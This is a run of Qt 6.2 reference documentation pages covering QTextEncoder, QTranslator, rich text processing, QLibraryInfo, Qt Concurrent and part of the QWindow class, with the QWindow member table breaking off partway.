|  | **[QTextEncoder](qtextencoder#QTextEncoder-2)**(const QTextCodec \**codec*, QTextCodec::ConversionFlags *flags*) |
|  | **[QTextEncoder](qtextencoder#QTextEncoder-1)**(const QTextCodec \**codec*) |
|  | **[~QTextEncoder](qtextencoder#dtor.QTextEncoder)**() |
|  QByteArray  | **[fromUnicode](qtextencoder#fromUnicode)**(const QString &*str*) |
|  QByteArray  | **[fromUnicode](qtextencoder#fromUnicode-1)**(QStringView *str*) |
|  QByteArray  | **[fromUnicode](qtextencoder#fromUnicode-2)**(const QChar \**uc*, int *len*) |

 Detailed Description
--------------------

 A text encoder converts text from Unicode into an encoded text format using a specific codec.

 The encoder converts Unicode into another format, remembering any state that is required between calls.

 **See also** [QTextCodec::makeEncoder](qtextcodec#makeEncoder)() and [QTextDecoder](qtextdecoder).

 Member Function Documentation
-----------------------------

 ### QTextEncoder::QTextEncoder(const [QTextCodec](qtextcodec) \**codec*, QTextCodec::ConversionFlags *flags*)

 Constructs a text encoder for the given *codec* and conversion *flags*.

 ### QTextEncoder::QTextEncoder(const [QTextCodec](qtextcodec) \**codec*)

 Constructs a text encoder for the given *codec*.

 ### QTextEncoder::~QTextEncoder()

 Destroys the encoder.

 ### 
[QByteArray](qbytearray) QTextEncoder::fromUnicode(const [QString](qstring) &*str*)

 Converts the Unicode string *str* into an encoded [QByteArray](qbytearray).

 ### 
`[since 5.10]` [QByteArray](qbytearray) QTextEncoder::fromUnicode([QStringView](qstringview) *str*)

 This is an overloaded function.

 Converts the Unicode string *str* into an encoded [QByteArray](qbytearray).

 This function was introduced in Qt 5.10.

 ### 
[QByteArray](qbytearray) QTextEncoder::fromUnicode(const [QChar](qchar) \**uc*, int *len*)

 This is an overloaded function.

 Converts *len* characters (not bytes) from *uc*, and returns the result in a [QByteArray](qbytearray).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtextencoder.html>

QTranslator Class
=================

 The QTranslator class provides internationalization support for text output. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QTranslator> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |
|  Inherits: | [QObject](qobject) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qtranslator-members.html)

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QTranslator](qtranslator#QTranslator)**(QObject \**parent* = nullptr) |
|  virtual  | **[~QTranslator](qtranslator#dtor.QTranslator)**() |
|  QString  | **[filePath](qtranslator#filePath)**() const |
|  virtual bool  | **[isEmpty](qtranslator#isEmpty)**() const |
|  QString  | **[language](qtranslator#language)**() const |
|  bool  | **[load](qtranslator#load)**(const QString &*filename*, const QString &*directory* = QString(), const QString &*search\_delimiters* = QString(), const QString &*suffix* = QString()) |
|  bool  | **[load](qtranslator#load-1)**(const QLocale &*locale*, const QString &*filename*, const QString &*prefix* = QString(), const QString &*directory* = QString(), const QString &*suffix* = QString()) |
|  bool  | **[load](qtranslator#load-2)**(const uchar \**data*, int *len*, const QString &*directory* = QString()) |
|  virtual QString  | **[translate](qtranslator#translate)**(const char \**context*, const char \**sourceText*, const char \**disambiguation* = nullptr, int *n* = -1) const |

 Detailed Description
--------------------

 An object of this class contains a set of translations from a source language to a target language. QTranslator provides functions to look up translations in a translation file. Translation files are created using [Qt Linguist](https://doc.qt.io/qt-6.2/qtlinguist-index.html).

 The most common use of QTranslator is to: load a translation file, and install it using [QCoreApplication::installTranslator](qcoreapplication#installTranslator)().

 Here's an example `main()` function using the QTranslator:

 
```
int main(int argc, char *argv[])
{
    QApplication app(argc, argv);

    QTranslator translator;
    // look up e.g. :/i18n/myapp_de.qm
    if (translator.load(QLocale(), QLatin1String("myapp"), QLatin1String("_"), QLatin1String(":/i18n")))
        QCoreApplication::installTranslator(&translator);

    QPushButton hello(QCoreApplication::translate("main", "Hello world!"));
    hello.resize(100, 30);

    hello.show();
    return app.exec();
}
```
 Note that the translator must be created *before* the application's widgets.

 Most applications will never need to do anything else with this class. The other functions provided by this class are useful for applications that work on translator files.

 ### Looking up Translations

 It is possible to look up a translation using [translate](qtranslator#translate)() (as [tr](qobject#tr)() and [QCoreApplication::translate](qcoreapplication#translate)() do). The [translate](qtranslator#translate)() function takes up to three parameters:

 * The *context* - usually the class name for the [tr](qobject#tr)() caller.
* The *source text* - usually the argument to [tr](qobject#tr)().
* The *disambiguation* - an optional string that helps disambiguate different uses of the same text in the same context.

 For example, the "Cancel" in a dialog might have "Anuluj" when the program runs in Polish (in this case the source text would be "Cancel"). The context would (normally) be the dialog's class name; there would normally be no comment, and the translated text would be "Anuluj".

 But it's not always so simple. The Spanish version of a printer dialog with settings for two-sided printing and binding would probably require both "Activado" and "Activada" as translations for "Enabled". In this case the source text would be "Enabled" in both cases, and the context would be the dialog's class name, but the two items would have disambiguations such as "two-sided printing" for one and "binding" for the other. The disambiguation enables the translator to choose the appropriate gender for the Spanish version, and enables Qt to distinguish between translations.

 ### Using Multiple Translations

 Multiple translation files can be installed in an application. Translations are searched for in the reverse order in which they were installed, so the most recently installed translation file is searched for translations first and the earliest translation file is searched last. The search stops as soon as a translation containing a matching string is found.

 This mechanism makes it possible for a specific translation to be "selected" or given priority over the others; simply uninstall the translator from the application by passing it to the [QCoreApplication::removeTranslator](qcoreapplication#removeTranslator)() function and reinstall it with [QCoreApplication::installTranslator](qcoreapplication#installTranslator)(). It will then be the first translation to be searched for matching strings.

 **See also** [QCoreApplication::installTranslator](qcoreapplication#installTranslator)(), [QCoreApplication::removeTranslator](qcoreapplication#removeTranslator)(), [QObject::tr](qobject#tr)(), [QCoreApplication::translate](qcoreapplication#translate)(), [I18N Example](https://doc.qt.io/qt-6.2/qtwidgets-tools-i18n-example.html), [Hello tr() Example](https://doc.qt.io/qt-6.2/qtlinguist-hellotr-example.html), [Arrow Pad Example](https://doc.qt.io/qt-6.2/qtlinguist-arrowpad-example.html), and [Troll Print Example](https://doc.qt.io/qt-6.2/qtlinguist-trollprint-example.html).

 Member Function Documentation
-----------------------------

 ### QTranslator::QTranslator([QObject](qobject#QObject) \**parent* = nullptr)

 Constructs an empty message file object with parent *parent* that is not connected to any file.

 ### 
`[virtual]` QTranslator::~QTranslator()

 Destroys the object and frees any allocated resources.

 ### 
`[since 5.15]` [QString](qstring) QTranslator::filePath() const

 Returns the path of the loaded translation file.

 The file path is empty if no translation was loaded yet, the loading failed, or if the translation was not loaded from a file.

 This function was introduced in Qt 5.15.

 ### 
`[virtual]` bool QTranslator::isEmpty() const

 Returns `true` if this translator is empty, otherwise returns `false`. This function works with stripped and unstripped translation files.

 ### 
`[since 5.15]` [QString](qstring) QTranslator::language() const

 Returns the target language as stored in the translation file.

 This function was introduced in Qt 5.15.

 ### 
bool QTranslator::load(const [QString](qstring) &*filename*, const [QString](qstring) &*directory* = QString(), const [QString](qstring) &*search\_delimiters* = QString(), const [QString](qstring) &*suffix* = QString())

 Loads *filename* + *suffix* (".qm" if the *suffix* is not specified), which may be an absolute file name or relative to *directory*. Returns `true` if the translation is successfully loaded; otherwise returns `false`.

 If *directory* is not specified, the current directory is used (i.e., as [currentPath](qdir#currentPath)()).

 The previous contents of this translator object are discarded.

 If the file name does not exist, other file names are tried in the following order:

 1. File name without *suffix* appended.
2. File name with text after a character in *search\_delimiters* stripped ("\_." is the default for *search\_delimiters* if it is an empty string) and *suffix*.
3. File name stripped without *suffix* appended.
4. File name stripped further, etc.

 For example, an application running in the fr\_CA locale (French-speaking Canada) might call load("foo.fr\_ca", "/opt/foolib"). load() would then try to open the first existing readable file from this list:

 1. `/opt/foolib/foo.fr_ca.qm`
2. `/opt/foolib/foo.fr_ca`
3. `/opt/foolib/foo.fr.qm`
4. `/opt/foolib/foo.fr`
5. `/opt/foolib/foo.qm`
6. `/opt/foolib/foo`

 Usually, it is better to use the QTranslator::load(const [QLocale](qlocale) &, const [QString](qstring) &, const [QString](qstring) &, const [QString](qstring) &, const [QString](qstring) &) function instead, because it uses [QLocale::uiLanguages](qlocale#uiLanguages)() and not simply the locale name, which refers to the formatting of dates and numbers and not necessarily the UI language.

 ### 
bool QTranslator::load(const [QLocale](qlocale) &*locale*, const [QString](qstring) &*filename*, const [QString](qstring) &*prefix* = QString(), const [QString](qstring) &*directory* = QString(), const [QString](qstring) &*suffix* = QString())

 Loads *filename* + *prefix* + [ui language name](qlocale#uiLanguages) + *suffix* (".qm" if the *suffix* is not specified), which may be an absolute file name or relative to *directory*. Returns `true` if the translation is successfully loaded; otherwise returns `false`.

 The previous contents of this translator object are discarded.

 If the file name does not exist, other file names are tried in the following order:

 1. File name without *suffix* appended.
2. File name with ui language part after a "\_" character stripped and *suffix*.
3. File name with ui language part stripped without *suffix* appended.
4. File name with ui language part stripped further, etc.

 For example, an application running in the *locale* with the following [ui languages](qlocale#uiLanguages) - "es", "fr-CA", "de" might call load(QLocale(), "foo", ".", "/opt/foolib", ".qm"). load() would replace '-' (dash) with '\_' (underscore) in the ui language and then try to open the first existing readable file from this list:

 1. `/opt/foolib/foo.es.qm`
2. `/opt/foolib/foo.es`
3. `/opt/foolib/foo.fr_CA.qm`
4. `/opt/foolib/foo.fr_CA`
5. `/opt/foolib/foo.fr.qm`
6. `/opt/foolib/foo.fr`
7. `/opt/foolib/foo.de.qm`
8. `/opt/foolib/foo.de`
9. `/opt/foolib/foo.qm`
10. `/opt/foolib/foo`.
11. `/opt/foolib/foo`

 On operating systems where file system is case sensitive, [QTranslator](qtranslator) also tries to load a lower-cased version of the locale name.

 ### 
bool QTranslator::load(const [uchar](qtglobal#uchar-typedef) \**data*, int *len*, const [QString](qstring) &*directory* = QString())

 This function overloads load().

 Loads the QM file data *data* of length *len* into the translator.

 The data is not copied. The caller must be able to guarantee that *data* will not be deleted or modified.

 *directory* is only used to specify the base directory when loading the dependencies of a QM file. If the file does not have dependencies, this argument is ignored.

 ### 
`[virtual]` [QString](qstring) QTranslator::translate(const char \**context*, const char \**sourceText*, const char \**disambiguation* = nullptr, int *n* = -1) const

 Returns the translation for the key (*context*, *sourceText*, *disambiguation*). If none is found, also tries (*context*, *sourceText*, ""). If that still fails, returns a null string.

  **Note:** Incomplete translations may result in unexpected behavior: If no translation for (*context*, *sourceText*, "") is provided, the method might in this case actually return a translation for a different *disambiguation*.

  If *n* is not -1, it is used to choose an appropriate form for the translation (e.g. "%n file found" vs. "%n files found").

 If you need to programmatically insert translations into a [QTranslator](qtranslator), this function can be reimplemented.

 **See also** [load](qtranslator#load)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtranslator.html>

Rich Text Processing
====================

 The Scribe framework provides a set of classes for reading and manipulating structured rich text documents. Unlike previous rich text support in Qt, the new classes are centered around the [QTextDocument](qtextdocument) class rather than raw textual information. This enables the developer to create and modify structured rich text documents without having to prepare content in an intermediate markup format.

 The information within a document can be accessed via two complementary interfaces: A cursor-based interface is used for editing, and a read-only hierarchical interface provides a high level overview of the document structure. The main advantage of the cursor-based interface is that the text can be edited using operations that mimic a user's interaction with an editor, without losing the underlying structure of the document. The read-only hierarchical interface is most useful when performing operations such as searching and document export.

 This document is divided up into chapters for convenient reference:

 * [Rich Text Document Structure](richtext-structure) outlines the different kinds of elements in a [QTextDocument](qtextdocument), and describes how they are arranged in a document structure.
* [The QTextCursor Interface](richtext-cursor) explains how rich text documents can be edited using the cursor-based interface.
* [Document Layouts](richtext-layouts) briefly explains the role of document layouts.
* [Common Rich Text Editing Tasks](richtext-common-tasks) examines some common tasks that involve reading or manipulating rich text documents.
* [Advanced Rich Text Processing](richtext-advanced-processing) examines advanced rich text editing tasks.
* [Supported HTML Subset](richtext-html-subset) lists the HTML tags supported by [QTextDocument](qtextdocument).

 Rich Text Processing APIs
-------------------------

 Qt provides an extensive collection of classes for parsing, rendering manipulating and editing rich text.

 

|  |  |
| --- | --- |
| [QAbstractTextDocumentLayout](qabstracttextdocumentlayout) | Abstract base class used to implement custom layouts for QTextDocuments |
| [QFont](qfont) | Specifies a query for a font used for drawing text |
| [QPlainTextDocumentLayout](qplaintextdocumentlayout) | Implements a plain text layout for QTextDocument |
| [QPlainTextEdit](qplaintextedit) | Widget that is used to edit and display plain text |
| [QSyntaxHighlighter](qsyntaxhighlighter) | Allows you to define syntax highlighting rules, and in addition you can use the class to query a document's current formatting or user data |
| [QTextBlock](qtextblock) | Container for text fragments in a QTextDocument |
| [QTextBlock::iterator](qtextblock-iterator) | QTextBlock::iterator class provides an iterator for reading the contents of a QTextBlock |
| [QTextBlockFormat](qtextblockformat) | Formatting information for blocks of text in a QTextDocument |
| [QTextBlockGroup](qtextblockgroup) | Container for text blocks within a QTextDocument |
| [QTextBlockUserData](qtextblockuserdata) | Used to associate custom data with blocks of text |
| [QTextBrowser](qtextbrowser) | Rich text browser with hypertext navigation |
| [QTextCharFormat](qtextcharformat) | Formatting information for characters in a QTextDocument |
| [QTextCursor](qtextcursor) | Offers an API to access and modify QTextDocuments |
| [QTextDocument](qtextdocument) | Holds formatted text |
| [QTextDocumentFragment](qtextdocumentfragment) | Represents a piece of formatted text from a QTextDocument |
| [QTextDocumentWriter](qtextdocumentwriter) | Format-independent interface for writing a QTextDocument to files or other devices |
| [QTextEdit](qtextedit) | Widget that is used to edit and display both plain and rich text |
| [QTextFormat](qtextformat) | Formatting information for a QTextDocument |
| [QTextFragment](qtextfragment) | Holds a piece of text in a QTextDocument with a single QTextCharFormat |
| [QTextFrame](qtextframe) | Represents a frame in a QTextDocument |
| [QTextFrame::iterator](qtextframe-iterator) | Iterator for reading the contents of a QTextFrame |
| [QTextFrameFormat](qtextframeformat) | Formatting information for frames in a QTextDocument |
| [QTextImageFormat](qtextimageformat) | Formatting information for images in a QTextDocument |
| [QTextInlineObject](qtextinlineobject) | Represents an inline object in a QAbstractTextDocumentLayout and its implementations |
| [QTextLayout](qtextlayout) | Used to lay out and render text |
| [QTextLength](qtextlength) | Encapsulates the different types of length used in a QTextDocument |
| [QTextLine](qtextline) | Represents a line of text inside a QTextLayout |
| [QTextList](qtextlist) | Decorated list of items in a QTextDocument |
| [QTextListFormat](qtextlistformat) | Formatting information for lists in a QTextDocument |
| [QTextObject](qtextobject) | Base class for different kinds of objects that can group parts of a QTextDocument together |
| [QTextOption](qtextoption) | Description of general rich text properties |
| [QTextTable](qtexttable) | Represents a table in a QTextDocument |
| [QTextTableCell](qtexttablecell) | Represents the properties of a cell in a QTextTable |
| [QTextTableCellFormat](qtexttablecellformat) | Formatting information for table cells in a QTextDocument |
| [QTextTableFormat](qtexttableformat) | Formatting information for tables in a QTextDocument |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/richtext.html>

QLibraryInfo Class
==================

 The QLibraryInfo class provides information about the Qt library. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QLibraryInfo> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qlibraryinfo-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qlibraryinfo-obsolete.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[LibraryPath](qlibraryinfo#LibraryPath-enum)** { PrefixPath, DocumentationPath, HeadersPath, LibrariesPath, LibraryExecutablesPath, …, SettingsPath } |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  bool  | **[isDebugBuild](qlibraryinfo#isDebugBuild)**() |
|  QString  | **[path](qlibraryinfo#path)**(QLibraryInfo::LibraryPath *p*) |
|  QVersionNumber  | **[version](qlibraryinfo#version)**() |

 Detailed Description
--------------------

 Many pieces of information are established when Qt is configured and built. This class provides an abstraction for accessing that information. By using the static functions of this class, an application can obtain information about the instance of the Qt library which the application is using at run-time.

 You can also use a `qt.conf` file to override the hard-coded paths that are compiled into the Qt library. For more information, see the [Using qt.conf](qt-conf) documentation.

 **See also** [QSysInfo](qsysinfo) and [Using qt.conf](qt-conf).

 Member Type Documentation
-------------------------

 ### enum QLibraryInfo::LibraryPath

 This enum type is used to query for a specific path:

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLibraryInfo::PrefixPath` | `0` | The default prefix for all paths. |
| `QLibraryInfo::DocumentationPath` | `1` | The path to documentation upon install. |
| `QLibraryInfo::HeadersPath` | `2` | The path to all headers. |
| `QLibraryInfo::LibrariesPath` | `3` | The path to installed libraries. |
| `QLibraryInfo::LibraryExecutablesPath` | `4` | The path to installed executables required by libraries at runtime. |
| `QLibraryInfo::BinariesPath` | `5` | The path to installed Qt binaries (tools and applications). |
| `QLibraryInfo::PluginsPath` | `6` | The path to installed Qt plugins. |
| `QLibraryInfo::QmlImportsPath` | `7` | The path to installed QML extensions to import. |
| `QLibraryInfo::Qml2ImportsPath` | `QmlImportsPath` | The path to installed QML extensions to import. |
| `QLibraryInfo::ArchDataPath` | `8` | The path to general architecture-dependent Qt data. |
| `QLibraryInfo::DataPath` | `9` | The path to general architecture-independent Qt data. |
| `QLibraryInfo::TranslationsPath` | `10` | The path to translation information for Qt strings. |
| `QLibraryInfo::ExamplesPath` | `11` | The path to examples upon install. |
| `QLibraryInfo::TestsPath` | `12` | The path to installed Qt testcases. |
| `QLibraryInfo::SettingsPath` | `100` | The path to Qt settings. Not applicable on Windows. |

 **See also** [path](qlibraryinfo#path)().

 Member Function Documentation
-----------------------------

 ### 
`[static, since 5.0]` bool QLibraryInfo::isDebugBuild()

 Returns `true` if this build of Qt was built with debugging enabled, or false if it was built in release mode.

 This function was introduced in Qt 5.0.

 ### 
`[static, since 6.0]` [QString](qstring) QLibraryInfo::path([QLibraryInfo::LibraryPath](qlibraryinfo#LibraryPath-enum) *p*)

 Returns the path specified by *p*.

 This function was introduced in Qt 6.0.

 ### 
`[static, since 5.8]` [QVersionNumber](qversionnumber) QLibraryInfo::version()

 Returns the version of the Qt library.

 This function was introduced in Qt 5.8.

 **See also** [qVersion](qtglobal#qVersion)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qlibraryinfo.html>

Qt Concurrent
=============

 The Qt Concurrent module provides high-level APIs that make it possible to write multi-threaded programs without using low-level threading primitives such as mutexes, read-write locks, wait conditions, or semaphores. Programs written with Qt Concurrent automatically adjust the number of threads used according to the number of processor cores available. This means that applications written today will continue to scale when deployed on multi-core systems in the future.

 Qt Concurrent includes functional programming style APIs for parallel list processing, including a MapReduce and FilterReduce implementation for shared-memory (non-distributed) systems, and classes for managing asynchronous computations in GUI applications:

 * [Concurrent Map and Map-Reduce](qtconcurrentmap)
	+ [QtConcurrent::map](qtconcurrent#map)() applies a function to every item in a container, modifying the items in-place.
	+ [QtConcurrent::mapped](qtconcurrent#mapped)() is like map(), except that it returns a new container with the modifications.
	+ [QtConcurrent::mappedReduced](qtconcurrent#mappedReduced)() is like mapped(), except that the modified results are reduced or folded into a single result.
* [Concurrent Filter and Filter-Reduce](qtconcurrentfilter)
	+ [QtConcurrent::filter](qtconcurrent#filter)() removes all items from a container based on the result of a filter function.
	+ [QtConcurrent::filtered](qtconcurrent#filtered)() is like filter(), except that it returns a new container with the filtered results.
	+ [QtConcurrent::filteredReduced](qtconcurrent#filteredReduced)() is like filtered(), except that the filtered results are reduced or folded into a single result.
* [Concurrent Run](qtconcurrentrun)
	+ [QtConcurrent::run()](concurrent-changes-qt6#qtconcurrent-run) runs a function in another thread.
* [Concurrent Task](qtconcurrenttask)
	+ [QtConcurrent::task](qtconcurrent#task)() creates an instance of [QtConcurrent::QTaskBuilder](qtconcurrent-qtaskbuilder). This object can be used for adjusting parameters and for kicking off a task in a separate thread.
* [QFuture](qfuture) represents the result of an asynchronous computation.
* [QFutureIterator](qfutureiterator) allows iterating through results available via [QFuture](qfuture).
* [QFutureWatcher](qfuturewatcher) allows monitoring a [QFuture](qfuture) using signals-and-slots.
* [QFutureSynchronizer](qfuturesynchronizer) is a convenience class that automatically synchronizes several QFutures.
* [QPromise](qpromise) provides a way to report progress and results of the asynchronous computation to [QFuture](qfuture). Allows suspending or canceling the task when requested by [QFuture](qfuture).

 Qt Concurrent supports several STL-compatible container and iterator types, but works best with Qt containers that have random-access iterators, such as [QList](qlist). The map and filter functions accept both containers and begin/end iterators.

 STL Iterator support overview:

 

| Iterator Type | Example classes | Support status |
| --- | --- | --- |
| Input Iterator |  | Not Supported |
| Output Iterator |  | Not Supported |
| Forward Iterator | std::slist | Supported |
| Bidirectional Iterator | std::list | Supported |
| Random Access Iterator | [QList](qlist), std::vector | Supported and Recommended |

 Random access iterators can be faster in cases where Qt Concurrent is iterating over a large number of lightweight items, since they allow skipping to any point in the container. In addition, using random access iterators allows Qt Concurrent to provide progress information through [QFuture::progressValue](qfuture#progressValue)() and [QFutureWatcher::progressValueChanged](qfuturewatcher#progressValueChanged)().

 The non in-place modifying functions such as mapped() and filtered() makes a copy of the container when called. If you are using STL containers this copy operation might take some time, in this case we recommend specifying the begin and end iterators for the container instead.

 Using the Module
----------------

 Using a Qt module requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including [CMake](http://www.cmake.org/cmake/help/documentation.html) and [qmake](resources#qmake).

 ### Building with CMake

 Use the `find_package()` command to locate the needed module components in the `Qt6` package:

 
```
find_package(Qt6 COMPONENTS Concurrent REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::Concurrent)
```
 See also the [Build with CMake](cmake-manual) overview.

 ### Building with qmake

 To configure the module for building with qmake, add the module as a value of the `QT` variable in the project's .pro file:

 
```
QT += concurrent
```
 Module Evolution
----------------

 [Changes to Qt Concurrent](concurrent-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 Licenses
--------

 The Qt Concurrent module is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses: The [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtconcurrent-index.html>

QWindow Class
=============

 The QWindow class represents a window in the underlying windowing system. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QWindow> |
|  CMake: |  find\_package(Qt6 COMPONENTS Gui REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Gui) |
|  qmake: |  QT += gui |
|  Since: |  Qt 5.0 |
|  Inherits: | [QObject](qobject) and [QSurface](qsurface) |
|  Inherited By: | [QPaintDeviceWindow](qpaintdevicewindow), [QQuickWindow](qquickwindow), and [QVulkanWindow](qvulkanwindow) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qwindow-members.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[AncestorMode](qwindow#AncestorMode-enum)** { ExcludeTransients, IncludeTransients } |
|  enum  | **[Visibility](qwindow#Visibility-enum)** { Windowed, Minimized, Maximized, FullScreen, AutomaticVisibility, Hidden } |

 Properties
----------

 

|  |  |
| --- | --- |
| * **[active](qwindow#active-prop)** : const bool
* **[contentOrientation](qwindow#contentOrientation-prop)** : Qt::ScreenOrientation
* **[flags](qwindow#flags-prop)** : Qt::WindowFlags
* **[height](qwindow#height-prop)** : int
* **[maximumHeight](qwindow#maximumHeight-prop)** : int
* **[maximumWidth](qwindow#maximumWidth-prop)** : int
* **[minimumHeight](qwindow#minimumHeight-prop)** : int
* **[minimumWidth](qwindow#minimumWidth-prop)** : int
* **[modality](qwindow#modality-prop)** : Qt::WindowModality
 | * **[opacity](qwindow#opacity-prop)** : qreal
* **[title](qwindow#title-prop)** : QString
* **[transientParent](qwindow#transientParent-prop)** : QWindow\*
* **[visibility](qwindow#visibility-prop)** : Visibility
* **[visible](qwindow#visible-prop)** : bool
* **[width](qwindow#width-prop)** : int
* **[x](qwindow#x-prop)** : int
* **[y](qwindow#y-prop)** : int
 |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QWindow](qwindow#QWindow-1)**(QWindow \**parent*) |
|  | **[QWindow](qwindow#QWindow)**(QScreen \**targetScreen* = nullptr) |
|  virtual  | **[~QWindow](qwindow#dtor.QWindow)**() |
|  QSize  | **[baseSize](qwindow#baseSize)**() const |
|  Qt::ScreenOrientation  | **[contentOrientation](qwindow#contentOrientation-prop)**() const |
|  void  | **[create](qwindow#create)**() |
|  QCursor  | **[cursor](qwindow#cursor)**() const |
|  void  | **[destroy](qwindow#destroy)**() |
|  qreal  | **[devicePixelRatio](qwindow#devicePixelRatio)**() const |
|  QString  | **[filePath](qwindow#filePath)**() const |
|  Qt::WindowFlags  | **[flags](qwindow#flags-prop)**() const |
|  virtual QObject \* | **[focusObject](qwindow#focusObject)**() const |
|  QRect  | **[frameGeometry](qwindow#frameGeometry)**() const |
|  QMargins  | **[frameMargins](qwindow#frameMargins)**() const |
|  QPoint  | **[framePosition](qwindow#framePosition)**() const |
|  QRect  | **[geometry](qwindow#geometry)**() const |
|  int  | **[height](qwindow#height-prop)**() const |
|  QIcon  | **[icon](qwindow#icon)**() const |
|  bool  | **[isActive](qwindow#isActive)**() const |
|  bool  | **[isAncestorOf](qwindow#isAncestorOf)**(const QWindow \**child*, QWindow::AncestorMode *mode* = IncludeTransients) const |
|  bool  | **[isExposed](qwindow#isExposed)**() const |
|  bool  | **[isModal](qwindow#isModal)**() const |
|  bool  | **[isTopLevel](qwindow#isTopLevel)**() const |
|  bool  | **[isVisible](qwindow#visible-prop)**() const |
|  QPointF  | **[mapFromGlobal](qwindow#mapFromGlobal)**(const QPointF &*pos*) const |
|  QPoint  | **[mapFromGlobal](qwindow#mapFromGlobal-1)**(const QPoint &*pos*) const |
|  QPointF  | **[mapToGlobal](qwindow#mapToGlobal)**(const QPointF &*pos*) const |
|  QPoint  | **[mapToGlobal](qwindow#mapToGlobal-1)**(const QPoint &*pos*) const |
|  QRegion  | **[mask](qwindow#mask)**() const |
|  int  | **[maximumHeight](qwindow#maximumHeight-prop)**() const |
|  QSize  | **[maximumSize](qwindow#maximumSize)**() const |
|  int  | **[maximumWidth](qwindow#maximumWidth-prop)**() const |
|  int  | **[minimumHeight](qwindow#minimumHeight-prop)**() const |
|  QSize  | **[minimumSize](qwindow#minimumSize)**() const |
|  int  | **[minimumWidth](qwindow#minimumWidth-prop)**() const |
|  Qt::WindowModality  | **[modality](qwindow#modality-prop)**() const |
|  qreal  | **[opacity](qwindow#opacity-prop)**() const |
|  QWindow \* | **[parent](qwindow#parent)**(QWindow::AncestorMode *mode* = ExcludeTransients) const |
|  QPoint  | **[position](qwindow#position)**() const |
|  void  | **[reportContentOrientationChange](qwindow#contentOrientation-prop)**(Qt::ScreenOrientation *orientation*) |
|  QSurfaceFormat  | **[requestedFormat](qwindow#requestedFormat)**() const |
|  void  | **[resize](qwindow#resize)**(const QSize &*newSize*) |
|  void  | **[resize](qwindow#resize-1)**(int *w*, int *h*) |
|  QScreen \* | **[screen](qwindow#screen)**() const |
|  void  | **[setBaseSize](qwindow#setBaseSize)**(const QSize &*size*) |
|  void  | **[setCursor](qwindow#setCursor)**(const QCursor &*cursor*) |
|  void  | **[setFilePath](qwindow#setFilePath)**(const QString &*filePath*) |
|  void  | **[setFlag](qwindow#setFlag)**(Qt::WindowType *flag*, bool *on* = true) |
|  void  | **[setFlags](qwindow#flags-prop)**(Qt::WindowFlags *flags*) |
|  void  | **[setFormat](qwindow#setFormat)**(const QSurfaceFormat &*format*) |
|  void  | **[setFramePosition](qwindow#setFramePosition)**(const QPoint &*point*) |
|  void  | **[setIcon](qwindow#setIcon)**(const QIcon &*icon*) |
|  bool  | **[setKeyboardGrabEnabled](qwindow#setKeyboardGrabEnabled)**(bool *grab*) |
|  void  | **[setMask](qwindow#setMask)**(const QRegion &*region*) |
|  void  | **[setMaximumSize](qwindow#setMaximumSize)**(const QSize &*size*) |
|  void  | **[setMinimumSize](qwindow#setMinimumSize)**(const QSize &*size*) |
|  void  | **[setModality](qwindow#modality-prop)**(Qt::WindowModality *modality*) |
|  bool  | **[setMouseGrabEnabled](qwindow#setMouseGrabEnabled)**(bool *grab*) |
|  void  | **[setOpacity](qwindow#opacity-prop)**(qreal *level*) |
|  void  | **[setParent](qwindow#setParent)**(QWindow \**parent*) |
|  void  | **[setPosition](qwindow#setPosition)**(const QPoint &*pt*) |
|  void  | **[setPosition](qwindow#setPosition-1)**(int *posx*, int *posy*) |
|  void  | **[setScreen](qwindow#setScreen)**(QScreen \**newScreen*) |
|  void  | **[setSizeIncrement](qwindow#setSizeIncrement)**(const QSize &*size*) |
|  void  | **[setSurfaceType](qwindow#setSurfaceType)**(QSurface::SurfaceType *surfaceType*) |
|  void  | **[setTransientParent](qwindow#transientParent-prop)**(QWindow \**parent*) |
|  void  | **[setVisibility](qwindow#visibility-prop)**(QWindow::Visibility *v*) |
|  void  | **[setVulkanInstance](qwindow#setVulkanInstance)**(QVulkanInstance \**instance*) |
|  void  | **[setWindowState](qwindow#setWindowState)**(Qt::WindowState *state*) |
|  void  | **[setWindowStates](qwindow#setWindowStates)**(Qt::WindowStates *state*) |
|  QSize  | **[sizeIncrement](qwindow#sizeIncrement)**() const |
|  QString  | **[title](qwindow#title-prop)**() const |
|  QWindow \* | **[transientParent](qwindow#transientParent-prop)**() const |
|  Qt::WindowType  | **[type](qwindow#type)**() const |
|  void  | **[unsetCursor](qwindow#unsetCursor)**() |
